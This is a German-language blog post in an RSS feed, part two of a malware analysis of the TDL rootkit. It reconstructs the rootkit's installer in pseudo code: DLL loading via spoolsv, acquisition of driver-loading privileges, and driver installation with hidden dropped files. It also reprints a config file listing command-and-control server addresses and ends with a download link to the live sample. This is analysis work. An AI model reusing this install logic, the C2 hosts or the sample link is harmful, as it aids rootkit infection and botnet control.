		<description><![CDATA[Der Trick mit der DLL Nun wird es erst richtig spannend. Um noch mal zusammenzufassen: Die EXE kopiert sich ins Temp Verzeichnis und veranlasst spoolsv.exe diese EXE als DLL zu laden. Spoolsv.exe verwendet eine LoadLibrary Funktion um die DLL zu laden. Damit wir wissen was unsere Malware nun macht, müssen wir das emulieren bzw. vorgaukeln. [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Der Trick mit der DLL</strong></p>
<p>Nun wird es erst richtig spannend. Um noch mal zusammenzufassen: Die EXE kopiert sich ins Temp Verzeichnis und veranlasst spoolsv.exe diese EXE als DLL zu laden. Spoolsv.exe verwendet eine <em>LoadLibrary</em> Funktion um die DLL zu laden. Damit wir wissen was unsere Malware nun macht, müssen wir das emulieren bzw. vorgaukeln. <span id="more-1616"></span>Um das du machen ist es nötig zu wissen was bei <em>LoadLibrary</em> passiert. Wer schon mal eine DLL programmiert hat, kennt die DllMain Methode:<br />
<code>
<pre class="brush: cpp; title: ;">BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);</pre>
<p></code><br />
Die Malware überprüft beim starten diese 3 Variablen ob sie zu einer DLL Initialisierung passen. Wenn <em>LoadLibrary</em> eine DLL lädt wird <em>fdwReadon</em> mit einer 1 gefüllt für <em>DLL_PROCESS_ATTACH</em>. Da es dynamisch geladen wird sollte <em>lpvReserved</em> mit einer 0 befüllt (siehe MSDN) sein. <em>hinstDLL</em> ist ein Module Base Pointer. Um die Malware zu täuschen laden wir also mediaupdt.exe in Olly und bearbeiten den Stack entsprechend. Für <em>hinstDLL</em> verwende ich einfach 00400000.<br />
<img src="http://www.xup.in/pic,20100699/06.jpg" alt="" /><br />
Wer sich noch erinnert, als normaler EXE-Start wird Speicher reserviert und das „Herz“  reingeschrieben und schließlich die Methode bei 902392 aufgerufen. In unserer gedumpten Datei ist das bei 402392 (andere Base) und wer sich die Methode mit IDA oder Olly genauer angeschaut hat, wird gemerkt haben, dass die Methode auch einige Parameter haben möchte. Mit bisschen ausprobieren und ASM Verständnis findet man die Parameter schnell, die Methode sollte ungefähr so aussehen im Quellcode des Entwicklers:<br />
<code>
<pre class="brush: cpp; title: ;">BOOL startInstall(BOOL validDLL, HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)</pre>
<p></code><br />
Die Methode wird also auch als DLL aufgerufen und die DLLEntry Parameter werden einfach an die Funktion übergeben. Der <em>hinstDLL</em> Parameter wird natürlich angepasst auf den zur Laufzeit erstellten Speicherbereich. In Pseudo Code sieht die Methode so aus:<br />
<code>
<pre class="brush: cpp; title: ;">if (!validDLL) //DLL oder EXE?
{
	//siehe Blog Artikel Teil 1, das ist der Start Code von oben
	//Beim DLL Start wird hier nichts mehr ausgeführt
}
if (fdwReason == DLL_PROCESS_ATTACH)
{
	LdrAddRefDll(0, lpBaseAddress);
	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)90221C, lpBaseAddress, 0, 0);
	CloseHandle(var);
}</pre>
<p></code><br />
Es wird also ein neuer Thread gestartet. Weiter geht es mit 90221C bzw. 40221C in unserem Dump. Wer sich den Call Stack in Olly in der Methode mal angeschaut hat wird merken, dass als EXE der Aufruf von hier kommt:<br />
<code>
<pre class="brush: cpp; title: ;">00402CEE CALL EAX</pre>
<p></code><br />
Wer da etwas hochscrollt wird auch den Aufruf bei einer DLL schnell finden:<br />
<code>
<pre class="brush: cpp; title: ;">00402CCE CALL ESI</pre>
<p></code><br />
Man setzt also Breakpoints auf diese 2 Calls und probiert es einmal mit Manipuliertem Stack (siehe oben) und ohne Manipulierten Stack (also „normal“) aus zur Bestätigung dieser These.</p>
<p><strong>Der eigentliche Installationsvorgang – Vorstufe</strong></p>
<p>Wir sind kurz vor der Rootkit Treiber Install Methode. Aber zunächst kommt die Methode bei 90221C, die durch CreateThread gestartet wird. Pseudo Code:<br />
<code>
<pre class="brush: cpp; title: ;">if (RtlAdjustPrivilege(SeLoadDriverPrivilege, 1, 1, &amp;var) &lt; 0)
{
	VirtualAlloc(0, 0xB8000, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
	ZwQuerySystemInformation(SystemProcessThreadInfo, var, 753664, &amp;var);
	if (RtlEqualUnicodeString(var, &amp;var, TRUE))
	{
		ZwOpenThread(&amp;var, 512, var, var);
		ZwImpersonateThread(-2, var, var);
		if ( RtlAdjustPrivilege(SeLoadDriverPrivilege, TRUE, TRUE, &amp;var) &gt;= 0 )
		{
			installRootkitTreiber(lpBaseAddress);
		}
		ZwClose(var);
	}
}</pre>
<p></code><br />
Die Methode ist schnell erklärt: Es wird geprüft ob <em>SeLoadDriverPrivilege</em> Rechte vorhanden sind, die gebraucht werden um den Treiber zu starten. Falls sie nicht vorhanden sind, wird versucht sie zu bekommen. Die Treiber Installation beginnt bei 90195E bzw. 40195E.</p>
<p><strong>Der eigentliche Installationsvorgang – Kern</strong></p>
<p>Wir sind nun mitten im Kern des Ganzen (endlich!). Hier wird es wieder mal interessant. Am Anfang werden ein paar String Operationen durchgeführt und es wird sich ein netter String zusammengebastelt mit PC Informationen. Es wird auch der MachineGuid aus der Registry ausgelesen <em>(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\ MachineGuid</em>). Wer langsam durchsteppt mit Olly wird auch schnell eine nette Entdeckung machen: Alle TDL Command Server tauchen in einem String auf. Diese Server dienen wohl dazu die Zombies zu steuern. Die Kommunikation findet wohl via HTTP statt.<br />
Der erste Teil nach den String Operationen in Pseudo Code:<br />
<code>
<pre class="brush: cpp; title: ;">GetTempPathA(0x104, &amp;PathName);
GetTempFileNameA(&amp;PathName, 0, 0, &amp;FileName);
CreateFileA(&amp;FileName, 0x1F01FF, 1, 0, 2, 0, 0);
WriteFile(file, var, var, &amp;NumberOfBytesWritten, 0); //erstelle Rootkit Treiber
CloseHandle(file);
snprintf(&amp;var, 0x104, &quot;system\\currentcontrolset\\services\\%s&quot;, &quot;random number&quot;); //zufällige nummer wird generiert
RegCreateKeyA(HKEY_LOCAL_MACHINE, &amp;var, &amp;var);
RegSetValueExA(var, &quot;imagepath&quot;, 0, 2, var, var);
RegSetValueExA(var, &quot;type&quot;, 0, 4, var, 4);
RegCloseKey(var);
ZwLoadDriver(var); //Treiber wird geladen
SHDeleteKeyA(HKEY_LOCAL_MACHINE, var); //Registry Key wird wieder gelöscht</pre>
<p></code><br />
<a href="http://www.xup.in/pic,36890178/07.jpg" target="_blank"><img src="http://www.xup.in/pic,36890178/07.jpg" alt="" /></a><br />
Hier wird jetzt der Treiber im Temp Verzeichnis erstellt und geladen. Der nächste Abschnitt der Methode:<br />
<code>
<pre class="brush: cpp; title: ;">ZwOpenSymbolicLinkObject(var, 983041, var);
ZwQuerySymbolicLinkObject(var, var, 0);
CreateFileA(&quot;\\\\?\\globalroot%wZ\\bckfg.tmp&quot;, 0x1F01FF, FILE_SHARE_READ, 0, CREATE_ALWAYS, WRITE_THROUGH, 0);
WriteFile(var, var, var, &amp;NumberOfBytesWritten, 0);
CloseHandle(var);

CreateFileA(&quot;\\\\?\\globalroot%wZ\\tdlcmd.dll&quot;, 0x1F01FF, FILE_SHARE_READ, 0, CREATE_ALWAYS, WRITE_THROUGH, 0);
WriteFile(var, var, var, &amp;NumberOfBytesWritten, 0);
CloseHandle(var);

//mehrfach wird was reingeschrieben
WritePrivateProfileStringA(var, var, var, &quot;config.ini&quot;);

ZwMakeTemporaryObject(var);
ZwClose(var);
DeleteFileA(var); //Rootkit Treiber im Temp Verzeichnis

kontaktiereCommandServer(); //dazu später mehr</pre>
<p></code><br />
Hier werden 3 Dateien erstellt, die man nicht sehen kann, weil sie außerhalb des Dateisystems erstellt werden. Um die Dateien trotzdem anschauen zu können habe ich einfach den Pfad bei den CreateFile und WritePrivateProfileString geändert. Am Ende werden noch die Command Server kontaktiert, dazu später mehr.</p>
<p><strong>Die gedroppten Dateien</strong></p>
<p>Die config.ini ist ohne extra Erklärung leicht verständlich:<br />
<code>
<pre class="brush: cpp; title: ;">[injector]
*=name
[main]
botid=08a0tr4-b153-45b2-aa18-f4tzt0d633a
affid=40755
subid=0
installdate=5.9.2010 13:33:2
builddate=3.9.2010 12:57:36
[tdlcmd]
servers=https://nichtadden.in/;https://91.212.226.67/;https://li1i16b0.com/;https://zz87jhfda88.com/;https://n16fa53.com/;https://01n02n4cx00.cc/;https://lj1i16b0.com/
wspservers=http://zl00zxcv1.com/;http://zloozxcv1.com/;http://71ha6dl01.com/;http://axjau710h.com/;http://rf9akjgh716zzl.com/;http://dsg1tsga64aa17.com/;http://l1i1e3e3oo8as0.com/;http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/
popupservers=http://clkh71yhks66.com/</pre>
<p></code><br />
Die tdlcmd.dll ist wieder mal interessant. Die Datei ist mit UPX gepackt (einfach mit UPX –d unpacken).  Das Rootkit dient wohl dazu, diese DLL in jeden Prozess zu injizieren. Die DLL greift aber nur folgende Prozesse an:<br />
<code>
<pre class="brush: cpp; title: ;">PathMatchSpecA(v4, &quot;*explo*&quot;)
PathMatchSpecA(v4, &quot;*firefox*&quot;)
PathMatchSpecA(v4, &quot;*chrome*&quot;)
PathMatchSpecA(v4, &quot;*opera*&quot;)
PathMatchSpecA(v4, &quot;*safari*&quot;)
PathMatchSpecA(v4, &quot;*netsc*&quot;)
PathMatchSpecA(v4, &quot;*avant*&quot;)
PathMatchSpecA(v4, &quot;*browser*&quot;)
PathMatchSpecA(v4, &quot;*mozill*&quot;)
PathMatchSpecA(v4, &quot;*wuauclt*&quot;)</pre>
<p></code><br />
Man sieht also, das Ding interessiert sich für Webbrowser. Diese werden dann manipuliert z.B. werden u.a. Popups untergeschoben.</p>
<p>Die gedroppte Treiber Datei im Temp Verzeichnis ist immer noch nicht der reine Rootkit Treiber. Er ist noch umgeben mit einer Art Installer von Microsoft. Der Treiber wird dann in das System32\Driver Verzeichnis erstellt RANDOMNAME.sys.</p>
<p>Was die bckfg.tmp darstellen soll weiß ich nicht. Wer will kann es gerne herausfinden.</p>
<p><strong>Noch kurz etwas zur Kommunikation mit den Servern</strong></p>
<p>Die Kommunikation findet wie schon erwähnt mit HTTP statt. In unserer gedumpten Datei findet man die Methode bei 4017FB bzw. 9017FB. Wenn ein 64-Bit System erkannt wird, wird sie z.B. aufgerufen, so kann man sie gut analysieren. Die HTTP Parameter werden noch leicht verschlüsselt mit der Methode bei 4010CB. Auch in der tdlcmd.dll findet man diese beiden Methoden bei Base+ 0x6D55 und Base+0x404A. Die Kommunikation findet vor allem in der tdlcmd.dll statt. Wer sie analysieren möchte, kann die DLL gerne mal in den Browser reinladen. Lässt sich dann prima debuggen ohne das man das Rootkit installiert.</p>
<p><strong>Fazit</strong></p>
<p>Ich könnte noch seitenweise weiter über das TDL schreiben, aber irgendwann muss auch mal Schluss sein. Ich hoffe es war interessant und ich konnte euch einen guten Einblick geben. Das Teil ist eine richtige Wundertüte und kein Vergleich zu herkömmlicher Malware, die meist nur aus einer Datei bestehen. In dem TDL steckt auch noch mehr interessantes, deshalb werde ich die Datei zum Download anbieten und wer will kann auch mal das Teil zerlegen. Spaß macht es auf jeden Fall.</p>
<p><strong>Download auf eigene Gefahr:</strong> <a href="http://www.xup.in/dl,10662038/TDL_Rootkit.rar/" target="_blank">TDL Rootkit</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2010/09/05/malware-analyse-gefahrliches-rootkit-tdl-%e2%80%93-teil-2/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

